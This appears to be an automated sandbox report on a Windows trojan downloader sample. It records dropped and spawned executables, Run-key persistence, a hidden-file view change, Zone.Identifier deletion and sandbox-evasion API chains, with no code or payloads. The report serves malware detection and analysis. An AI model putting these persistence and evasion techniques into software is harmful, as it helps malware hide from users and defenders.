Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Command line argument: `%?	18_2_003F10A0
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Command line argument: 0&?	18_2_003F10A0
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Command line argument: h&?	18_2_003F10A0
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Command line argument: @'?	18_2_003F10A0

Source: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

ReversingLabs: Detection: 78%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Process created: C:\Windows\sysbrapsvc.exe C:\Windows\sysbrapsvc.exe
Source: unknown	Process created: C:\Windows\sysbrapsvc.exe "C:\Windows\sysbrapsvc.exe"
Source: C:\Windows\sysbrapsvc.exe	Process created: C:\Users\user\AppData\Local\Temp\3193211493.exe C:\Users\user\AppData\Local\Temp\3193211493.exe
Source: C:\Windows\sysbrapsvc.exe	Process created: C:\Users\user\AppData\Local\Temp\1146722911.exe C:\Users\user\AppData\Local\Temp\1146722911.exe
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Process created: C:\Users\user\AppData\Local\Temp\2303012543.exe C:\Users\user\AppData\Local\Temp\2303012543.exe
Source: unknown	Process created: C:\Users\user\winploravr.exe "C:\Users\user\winploravr.exe"
Source: C:\Windows\sysbrapsvc.exe	Process created: C:\Users\user\AppData\Local\Temp\2006625995.exe C:\Users\user\AppData\Local\Temp\2006625995.exe
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Process created: C:\Users\user\AppData\Local\Temp\2711236308.exe C:\Users\user\AppData\Local\Temp\2711236308.exe
Source: unknown	Process created: C:\Windows\winploravr.exe "C:\Windows\winploravr.exe"
Source: C:\Windows\sysbrapsvc.exe	Process created: C:\Users\user\AppData\Local\Temp\330125677.exe C:\Users\user\AppData\Local\Temp\330125677.exe
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Process created: C:\Users\user\AppData\Local\Temp\1245832676.exe C:\Users\user\AppData\Local\Temp\1245832676.exe
Source: unknown	Process created: C:\Users\user\winploravr.exe "C:\Users\user\winploravr.exe"
Source: C:\Windows\sysbrapsvc.exe	Process created: C:\Users\user\AppData\Local\Temp\300129380.exe C:\Users\user\AppData\Local\Temp\300129380.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Process created: C:\Windows\sysbrapsvc.exe C:\Windows\sysbrapsvc.exe	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Process created: C:\Users\user\AppData\Local\Temp\3193211493.exe C:\Users\user\AppData\Local\Temp\3193211493.exe	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Process created: C:\Users\user\AppData\Local\Temp\1146722911.exe C:\Users\user\AppData\Local\Temp\1146722911.exe	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Process created: C:\Users\user\AppData\Local\Temp\2006625995.exe C:\Users\user\AppData\Local\Temp\2006625995.exe	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Process created: C:\Users\user\AppData\Local\Temp\330125677.exe C:\Users\user\AppData\Local\Temp\330125677.exe	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Process created: C:\Users\user\AppData\Local\Temp\300129380.exe C:\Users\user\AppData\Local\Temp\300129380.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Process created: C:\Users\user\AppData\Local\Temp\2303012543.exe C:\Users\user\AppData\Local\Temp\2303012543.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Process created: C:\Users\user\AppData\Local\Temp\2711236308.exe C:\Users\user\AppData\Local\Temp\2711236308.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Process created: C:\Users\user\AppData\Local\Temp\1245832676.exe C:\Users\user\AppData\Local\Temp\1245832676.exe	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2303012543.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2303012543.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2303012543.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2303012543.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2303012543.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2303012543.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2303012543.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2303012543.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\winploravr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\winploravr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\winploravr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\winploravr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\winploravr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\winploravr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2711236308.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2711236308.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\winploravr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\winploravr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\winploravr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\winploravr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\winploravr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\winploravr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1245832676.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1245832676.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\winploravr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\winploravr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\winploravr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\winploravr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\winploravr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Section loaded: apphelp.dll	Jump to behavior

Source: C:\Windows\sysbrapsvc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Code function: 7_2_00DB2501 push ecx; ret	7_2_00DB2514
Source: C:\Users\user\AppData\Local\Temp\2303012543.exe	Code function: 8_2_00B51741 push ecx; ret	8_2_00B51754
Source: C:\Users\user\winploravr.exe	Code function: 9_2_002A2501 push ecx; ret	9_2_002A2514
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Code function: 10_2_00D72EA1 push ecx; ret	10_2_00D72EB4
Source: C:\Users\user\AppData\Local\Temp\2711236308.exe	Code function: 13_2_00391741 push ecx; ret	13_2_00391754
Source: C:\Windows\winploravr.exe	Code function: 14_2_000F2501 push ecx; ret	14_2_000F2514
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Code function: 15_2_006F1751 push ecx; ret	15_2_006F1764
Source: C:\Users\user\AppData\Local\Temp\1245832676.exe	Code function: 16_2_00AE1741 push ecx; ret	16_2_00AE1754
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Code function: 18_2_003F1891 push ecx; ret	18_2_003F18A4

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Executable created and started: C:\Windows\sysbrapsvc.exe			Jump to behavior
Source: unknown	Executable created and started: C:\Windows\winploravr.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	File created: C:\Windows\sysbrapsvc.exe	Jump to dropped file
Source: C:\Windows\sysbrapsvc.exe	File created: C:\Users\user\AppData\Local\Temp\2006625995.exe	Jump to dropped file
Source: C:\Windows\sysbrapsvc.exe	File created: C:\Users\user\AppData\Local\Temp\330125677.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	File created: C:\Windows\winploravr.exe	Jump to dropped file
Source: C:\Windows\sysbrapsvc.exe	File created: C:\Users\user\AppData\Local\Temp\3193211493.exe	Jump to dropped file
Source: C:\Windows\sysbrapsvc.exe	File created: C:\Users\user\AppData\Local\Temp\300129380.exe	Jump to dropped file
Source: C:\Windows\sysbrapsvc.exe	File created: C:\Users\user\AppData\Local\Temp\1146722911.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	File created: C:\Users\user\AppData\Local\Temp\2711236308.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	File created: C:\Users\user\AppData\Local\Temp\1245832676.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	File created: C:\Users\user\winploravr.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	File created: C:\Users\user\AppData\Local\Temp\2303012543.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe

File created: C:\Users\user\winploravr.exe

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	File created: C:\Windows\sysbrapsvc.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	File created: C:\Windows\winploravr.exe			Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe

File created: C:\Users\user\winploravr.exe

Jump to dropped file

Source: C:\Windows\sysbrapsvc.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\BITS

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Service	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Service	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows Service	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows Service	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Changes the view of files in windows explorer (hidden files and folders)

Source: C:\Windows\sysbrapsvc.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL CheckedValue

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	File opened: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	File opened: C:\Windows\sysbrapsvc.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	File opened: C:\Users\user\AppData\Local\Temp\3193211493.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	File opened: C:\Users\user\AppData\Local\Temp\1146722911.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	File opened: C:\Users\user\AppData\Local\Temp\1655423207.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	File opened: C:\Users\user\AppData\Local\Temp\3109025629.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	File opened: C:\Users\user\AppData\Local\Temp\2006625995.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	File opened: C:\Users\user\AppData\Local\Temp\330125677.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	File opened: C:\Users\user\AppData\Local\Temp\300129380.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	File opened: C:\Users\user\AppData\Local\Temp\1146722911.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	File opened: C:\Users\user\AppData\Local\Temp\2303012543.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	File opened: C:\Users\user\AppData\Local\Temp\2711236308.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	File opened: C:\Users\user\AppData\Local\Temp\1245832676.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	File opened: C:\Users\user\AppData\Local\Temp\2006625995.exe:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2303012543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\winploravr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2711236308.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\winploravr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1245832676.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\winploravr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_0040D1A0	0_2_0040D1A0
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_0040D1A0	2_2_0040D1A0
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_0040D1A0	4_2_0040D1A0
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_0040D1A0	5_2_0040D1A0

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess
Source: C:\Windows\sysbrapsvc.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_4-4374
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_5-4374
Source: C:\Windows\winploravr.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess
Source: C:\Users\user\winploravr.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess
Source: C:\Windows\winploravr.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Source: C:\Windows\sysbrapsvc.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_4-4374
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_5-4374
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_7-303
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_7-303
Source: C:\Users\user\winploravr.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe

Thread delayed: delay time: 900000

Jump to behavior

Source: C:\Windows\sysbrapsvc.exe

Window / User API: threadDelayed 6126

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2006625995.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Evaded block: after key decision	graph_0-4400
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Evaded block: after key decision	graph_0-4376
Source: C:\Windows\sysbrapsvc.exe	Evaded block: after key decision	graph_4-4374
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Evaded block: after key decision	graph_5-4374
Source: C:\Users\user\winploravr.exe	Evaded block: after key decision
Source: C:\Windows\winploravr.exe	Evaded block: after key decision

Source: C:\Windows\sysbrapsvc.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_2-5787
Source: C:\Windows\sysbrapsvc.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_2-4405
